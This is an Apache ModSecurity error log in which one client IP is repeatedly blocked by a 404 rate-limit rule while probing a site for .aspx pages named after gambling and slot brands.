[Sun Feb 01 06:12:46.244261 2026] [:error] [pid 10508:tid 10554] [client 81.167.26.57:34995] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aX5-XgFwdoMQv5EWp9toegAAAEo"]
[Sun Feb 01 06:12:48.406902 2026] [:error] [pid 10616:tid 10643] [client 81.167.26.57:15483] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aX5-YGd8pZdmVx6pUp7irQAAANc"]
[Sun Feb 01 06:12:50.408969 2026] [:error] [pid 10508:tid 10550] [client 81.167.26.57:54843] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aX5-YgFwdoMQv5EWp9tohQAAAEY"]
[Sun Feb 01 06:12:52.533820 2026] [:error] [pid 10616:tid 10620] [client 81.167.26.57:5297] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aX5-ZGd8pZdmVx6pUp7itAAAAMA"]
[Sun Feb 01 06:12:54.516723 2026] [:error] [pid 10506:tid 10518] [client 81.167.26.57:43667] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aX5-Zq32IC2Db4uwFyOhcgAAAAI"]
[Sun Feb 01 06:13:31.586686 2026] [:error] [pid 10509:tid 10574] [client 81.167.26.57:5735] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aX5-i1MNpJBihOJgwVvokwAAAIM"]
[Sun Feb 01 06:13:33.737039 2026] [:error] [pid 10508:tid 10556] [client 81.167.26.57:5673] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aX5-jQFwdoMQv5EWp9tooAAAAEw"]
[Sun Feb 01 06:13:35.935412 2026] [:error] [pid 10509:tid 10571] [client 81.167.26.57:24418] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aX5-j1MNpJBihOJgwVvolwAAAIA"]
[Sun Feb 01 06:13:37.971529 2026] [:error] [pid 10616:tid 10636] [client 81.167.26.57:52727] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aX5-kWd8pZdmVx6pUp7i8AAAANA"]
[Sun Feb 01 06:13:39.996491 2026] [:error] [pid 2033:tid 2039] [client 81.167.26.57:47947] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aX5-k_F7B4oR5nK3T_P9twAAAQQ"]
[Sun Feb 01 06:13:41.888018 2026] [:error] [pid 2033:tid 2051] [client 81.167.26.57:47204] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aX5-lfF7B4oR5nK3T_P9uwAAARA"]
[Sun Feb 01 06:13:43.946821 2026] [:error] [pid 10509:tid 10586] [client 81.167.26.57:54452] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aX5-l1MNpJBihOJgwVvooAAAAI8"]
[Sun Feb 01 06:13:45.827616 2026] [:error] [pid 10509:tid 10588] [client 81.167.26.57:63626] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aX5-mVMNpJBihOJgwVvopgAAAJE"]
[Sun Feb 01 06:13:47.742157 2026] [:error] [pid 10508:tid 10563] [client 81.167.26.57:32015] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aX5-mwFwdoMQv5EWp9torAAAAFM"]
[Sun Feb 01 06:13:49.784587 2026] [:error] [pid 10508:tid 10551] [client 81.167.26.57:16013] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aX5-nQFwdoMQv5EWp9tosAAAAEc"]
[Sun Feb 01 06:13:51.671616 2026] [:error] [pid 10616:tid 10628] [client 81.167.26.57:8246] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aX5-n2d8pZdmVx6pUp7i_AAAAMg"]
[Sun Feb 01 06:13:53.747360 2026] [:error] [pid 10508:tid 10559] [client 81.167.26.57:31704] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aX5-oQFwdoMQv5EWp9tosQAAAE8"]
[Sun Feb 01 06:13:55.644628 2026] [:error] [pid 2033:tid 2039] [client 81.167.26.57:2323] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aX5-o_F7B4oR5nK3T_P9ygAAAQQ"]
[Sun Feb 01 06:13:57.556927 2026] [:error] [pid 10509:tid 10588] [client 81.167.26.57:11616] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aX5-pVMNpJBihOJgwVvosQAAAJE"]
[Sun Feb 01 06:13:59.578851 2026] [:error] [pid 10508:tid 10565] [client 81.167.26.57:58334] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aX5-pwFwdoMQv5EWp9totwAAAFU"]
[Sun Feb 01 06:14:01.661880 2026] [:error] [pid 10508:tid 10553] [client 81.167.26.57:61621] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aX5-qQFwdoMQv5EWp9touQAAAEk"]
[Sun Feb 01 06:14:03.709543 2026] [:error] [pid 10506:tid 10532] [client 81.167.26.57:2812] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aX5-q632IC2Db4uwFyOhyQAAABA"]
[Sun Feb 01 06:14:05.588037 2026] [:error] [pid 10616:tid 10622] [client 81.167.26.57:53715] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aX5-rWd8pZdmVx6pUp7jCQAAAMI"]
[Sun Feb 01 06:14:07.645309 2026] [:error] [pid 2033:tid 2052] [client 81.167.26.57:3163] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aX5-r_F7B4oR5nK3T_P91QAAARE"]
[Sun Feb 01 06:14:09.577068 2026] [:error] [pid 10506:tid 10518] [client 81.167.26.57:39865] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aX5-sa32IC2Db4uwFyOhzAAAAAI"]
[Sun Feb 01 06:14:11.480603 2026] [:error] [pid 10509:tid 10582] [client 81.167.26.57:54460] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aX5-s1MNpJBihOJgwVvovwAAAIs"]
[Sun Feb 01 06:14:13.380221 2026] [:error] [pid 10506:tid 10540] [client 81.167.26.57:46276] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aX5-ta32IC2Db4uwFyOhzgAAABg"]
[Sun Feb 01 06:14:15.285530 2026] [:error] [pid 2033:tid 2038] [client 81.167.26.57:52777] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aX5-t_F7B4oR5nK3T_P93AAAAQM"]
[Sun Feb 01 06:14:17.334341 2026] [:error] [pid 2033:tid 2040] [client 81.167.26.57:1228] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aX5-ufF7B4oR5nK3T_P94gAAAQU"]
[Sun Feb 01 06:14:19.216946 2026] [:error] [pid 10616:tid 10620] [client 81.167.26.57:17060] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aX5-u2d8pZdmVx6pUp7jHgAAAMA"]
[Sun Feb 01 06:14:21.241644 2026] [:error] [pid 10616:tid 10642] [client 81.167.26.57:50263] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aX5-vWd8pZdmVx6pUp7jIgAAANY"]
[Sun Feb 01 06:14:23.142295 2026] [:error] [pid 10506:tid 10527] [client 81.167.26.57:12666] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aX5-v632IC2Db4uwFyOh1gAAAAs"]
[Sun Feb 01 06:14:25.210684 2026] [:error] [pid 10616:tid 10622] [client 81.167.26.57:32952] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aX5-wWd8pZdmVx6pUp7jJwAAAMI"]
[Sun Feb 01 06:14:27.092624 2026] [:error] [pid 10509:tid 10574] [client 81.167.26.57:21479] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aX5-w1MNpJBihOJgwVvo1gAAAIM"]
[Sun Feb 01 06:15:03.673163 2026] [:error] [pid 10616:tid 10631] [client 81.167.26.57:17455] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aX5-52d8pZdmVx6pUp7jWAAAAMs"]
[Sun Feb 01 06:15:05.861558 2026] [:error] [pid 10508:tid 10564] [client 81.167.26.57:26448] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aX5-6QFwdoMQv5EWp9to7gAAAFQ"]
[Sun Feb 01 06:15:07.916773 2026] [:error] [pid 2033:tid 2052] [client 81.167.26.57:27694] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aX5-6_F7B4oR5nK3T_P-swAAARE"]
[Sun Feb 01 06:15:09.818378 2026] [:error] [pid 10506:tid 10525] [client 81.167.26.57:13627] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aX5-7a32IC2Db4uwFyOh-AAAAAk"]
[Sun Feb 01 06:15:11.860595 2026] [:error] [pid 10616:tid 10624] [client 81.167.26.57:57043] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aX5-72d8pZdmVx6pUp7jXQAAAMQ"]
[Sun Feb 01 06:15:13.753963 2026] [:error] [pid 10508:tid 10548] [client 81.167.26.57:38163] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aX5-8QFwdoMQv5EWp9tpAwAAAEQ"]
[Sun Feb 01 06:15:15.792734 2026] [:error] [pid 10509:tid 10591] [client 81.167.26.57:3290] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aX5-81MNpJBihOJgwVvpTwAAAJQ"]
[Sun Feb 01 06:15:17.855614 2026] [:error] [pid 2033:tid 2044] [client 81.167.26.57:47554] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aX5-9fF7B4oR5nK3T_P-wgAAAQk"]
[Sun Feb 01 06:15:19.907659 2026] [:error] [pid 10506:tid 10527] [client 81.167.26.57:32751] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aX5-9632IC2Db4uwFyOiCQAAAAs"]
[Sun Feb 01 06:15:21.785486 2026] [:error] [pid 2033:tid 2053] [client 81.167.26.57:38511] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aX5--fF7B4oR5nK3T_P-xwAAARI"]
[Sun Feb 01 06:15:23.693114 2026] [:error] [pid 10506:tid 10517] [client 81.167.26.57:25585] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aX5--632IC2Db4uwFyOiDwAAAAE"]
[Sun Feb 01 06:15:25.616295 2026] [:error] [pid 10616:tid 10639] [client 81.167.26.57:18978] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aX5-_Wd8pZdmVx6pUp7jaAAAANM"]
[Sun Feb 01 06:15:27.535201 2026] [:error] [pid 10508:tid 10565] [client 81.167.26.57:61350] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aX5-_wFwdoMQv5EWp9tpFAAAAFU"]
[Sun Feb 01 06:15:29.566808 2026] [:error] [pid 10508:tid 10559] [client 81.167.26.57:15147] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aX5_AQFwdoMQv5EWp9tpHQAAAE8"]
[Sun Feb 01 06:15:31.446530 2026] [:error] [pid 10616:tid 10629] [client 81.167.26.57:8942] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aX5_A2d8pZdmVx6pUp7jcwAAAMk"]
[Sun Feb 01 06:15:33.362355 2026] [:error] [pid 10509:tid 10573] [client 81.167.26.57:41590] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aX5_BVMNpJBihOJgwVvpYQAAAII"]
[Sun Feb 01 06:15:35.404324 2026] [:error] [pid 10508:tid 10549] [client 81.167.26.57:63746] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aX5_BwFwdoMQv5EWp9tpJAAAAEU"]
[Sun Feb 01 06:15:37.310358 2026] [:error] [pid 10509:tid 10587] [client 81.167.26.57:62989] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aX5_CVMNpJBihOJgwVvpbwAAAJA"]
[Sun Feb 01 06:15:39.203582 2026] [:error] [pid 10509:tid 10589] [client 81.167.26.57:62290] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aX5_C1MNpJBihOJgwVvpcgAAAJI"]
[Sun Feb 01 06:15:41.258676 2026] [:error] [pid 10616:tid 10631] [client 81.167.26.57:50088] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aX5_DWd8pZdmVx6pUp7jgAAAAMs"]
[Sun Feb 01 06:15:43.136682 2026] [:error] [pid 10509:tid 10586] [client 81.167.26.57:60953] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aX5_D1MNpJBihOJgwVvpdgAAAI8"]
